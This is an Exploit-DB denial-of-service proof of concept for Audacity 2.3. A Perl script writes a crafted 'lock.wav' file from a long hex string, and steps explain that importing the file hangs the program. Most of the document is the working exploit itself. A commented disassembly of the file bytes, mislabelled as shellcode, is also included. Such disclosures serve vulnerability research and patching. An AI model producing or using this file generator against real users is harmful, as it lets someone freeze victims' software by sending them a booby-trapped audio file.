Audacity 2.3 – Denial of Service (PoC)

  • 作者: Kağan Çapar
    日期: 2018-10-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45644/
  • # Exploit Title: AudaCity 2.3 - Denial of Service (PoC)
    # Author: Kağan Çapar
    # Discovery Date: 2018-10-19
    # Software Link: https://www.fosshub.com/Audacity.html
    # Vendor Homepage : https://www.audacityteam.org
    # Tested Version: 2.3
    # Tested on OS: Windows 10 x64/86 (Normal use CPU) & Windows 7 (High CPU usage) & Windows XP (High CPU usage)
    # other version should be affected
    
    # Steps to Reproduce: Run the perl exploit script, it will create a new
    # file with the name "lock.wav". Open Audatcity.exe
    # Go to File > Open > Import > Select "lock.wav file" 
    # you will see a locking on software.
    
    # ! /usr/bin/perl
    
    # Dump of assembler code for function data:
    # 0x0000000000004040 <+0>:	push %rdx
    # 0x0000000000004041 <+1>:	rex.WB
    # 0x0000000000004042 <+2>:	rex.RX
    # 0x0000000000004043 <+3>:	rex.RX retq $0x158
    # 0x0000000000004047 <+7>:	add%dl,0x41(%rdi)
    # 0x000000000000404a <+10>:	push %rsi
    # 0x000000000000404b <+11>:	rex.RB
    # 0x000000000000404c <+12>:	rex.R
    # 0x000000000000404d <+13>:	rex.R
    # 0x000000000000404e <+14>:	rex.R
    # 0x000000000000404f <+15>:	rex.R clc 
    # 0x0000000000004051 <+17>:	(bad)
    # 0x0000000000004052 <+18>:	(bad)
    # 0x0000000000004053 <+19>:	incl (%rcx)
    # 0x0000000000004055 <+21>:	add%al,(%rcx)
    # 0x0000000000004057 <+23>:	add%ah,(%rdx)
    # 0x0000000000004059 <+25>:	push %rsi
    # 0x000000000000405a <+26>:	add%al,(%rax)
    # 0x000000000000405c <+28>:	rex.R lods %ds:(%rsi),%al
    # 0x000000000000405e <+30>:	add%al,(%rax)
    # 0x0000000000004060 <+32>:	add(%rax),%al
    # 0x0000000000004062 <+34>:	adc%al,(%rax)
    # 0x0000000000004064 <+36>:	add%al,(%rax)
    # 0x0000000000004066 <+38>:	data16 (bad) 
    # 0x0000000000004068 <+40>:	movslq 0x0(%rsp,%rax,1),%esi
    # 0x000000000000406c <+44>:	add%al,(%rax)
    # 0x000000000000406e <+46>:	rex.W lods %ds:(%rsi),%al
    # 0x0000000000004070 <+48>:	add%al,(%rax)
    # 0x0000000000004072 <+50>:	fs (bad) 
    # 0x0000000000004074 <+52>:	je 0x40d7 <shellcode+151>
    # 0x0000000000004076 <+54>:	nop
    # 0x0000000000004077 <+55>:	pop%rax
    # 0x0000000000004078 <+56>:	add%eax,(%rax)
    # 0x000000000000407a <+58>:	add%al,(%rax)
    # 0x000000000000407c <+60>:	add%al,(%rax)
    # 0x000000000000407e <+62>:	add%al,(%rax)
    # 0x0000000000004080 <+64>:	add%al,(%rax)
    # 0x0000000000004082 <+66>:	add%al,(%rax)
    # 0x0000000000004084 <+68>:	add%al,(%rax)
    # 0x0000000000004086 <+70>:	(bad)
    # 0x0000000000004087 <+71>:	incl (%rax)
    # 0x0000000000004089 <+73>:	add%al,(%rax)
    # 0x000000000000408b <+75>:	add%bh,%bh
    # 0x000000000000408d <+77>:	incl (%rax)
    # 0x000000000000408f <+79>:	add%bh,%bh
    # 0x0000000000004091 <+81>:	incl (%rax)
    # 0x0000000000004093 <+83>:	add%bh,%bh
    # 0x0000000000004095 <+85>:	incl (%rax)
    # 0x0000000000004097 <+87>:	add%bh,%bh
    # 0x0000000000004099 <+89>:	incl (%rax)
    # 0x000000000000409b <+91>:	add%bh,%bh
    
    open(code, ">lock.wav");
    binmode(code);
    $data = 
    "\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" .
    "\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" .
    "\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" .
    "\x00\x00\x64\x61\x74\x61\x90\x58\x01\x00\x00\x00\x00\x00\x00\x00" .
    "\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00\xff\xff\x00\x00" .
    "\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .
    "\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .
    "\xff\xff\x00\x00\xff\xff\x01\x00\x08\x00\x0b\x00\x0c\x00\x0b\x00" .
    "\x0c\x00\x09\x00\x07\x00\x0a\x00\x0a\x00\x07\x00\x0b\x00\x09\x00" .
    "\x08\x00\x0a\x00\x08\x00\x09\x00\x0a\x00\x0a\x00\x0a\x00\x09\x00" .
    "\x09\x00\x0a\x00\x0c\x00\x0c\x00\x0a\x00\x0b\x00\x0c\x00\x08\x00" .
    "\x0b\x00\x0d\x00\x0a\x00\x0c\x00\x0d\x00\x0a\x00\x0a\x00\x0a\x00" .
    "\x0c\x00\x0c\x00\x0d\x00\x10\x00\x0b\x00\x0d\x00\x0c\x00\x09\x00" .
    "\x0a\x00\x0e\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00\x0a\x00\x07\x00" .
    "\x08\x00\x05\x00\x08\x00\x0b\x00\x09\x00\x0b\x00\x08\x00\x08\x00" .
    "\x0b\x00\x09\x00\x07\x00\x08\x00\x07\x00\x09\x00\x0d\x00\x0c\x00" .
    "\x0b\x00\x0b\x00\x0a\x00\x0c\x00\x0f\x00\x0a\x00\x0a\x00\x0b\x00" .
    "\x0f\x00\x07\x00\x09\x00\x07\x00\x09\x00\x08\x00\x05\x00\x0a\x00" .
    "\x0a\x00\x07\x00\x08\x00\x0b\x00\x06\x00\x0d\x00\x0c\x00\x0c\x00" .
    "\x0b\x00\x0c\x00\x0b\x00\x09\x00\x0b\x00\x0b\x00\x09\x00\x0f\x00" .
    "\x08\x00\x0a\x00\x0f\x00\x0b\x00\x0d\x00\x0a\x00\x0a\x00\x09\x00" .
    "\x09\x00\x0d\x00\x10\x00\x0d\x00\x0b\x00\x0c\x00\x0e\x00\x09\x00" .
    "\x0c\x00\x0e\x00\x0a\x00\x0b\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00";
    
    print code $data;
    close(code);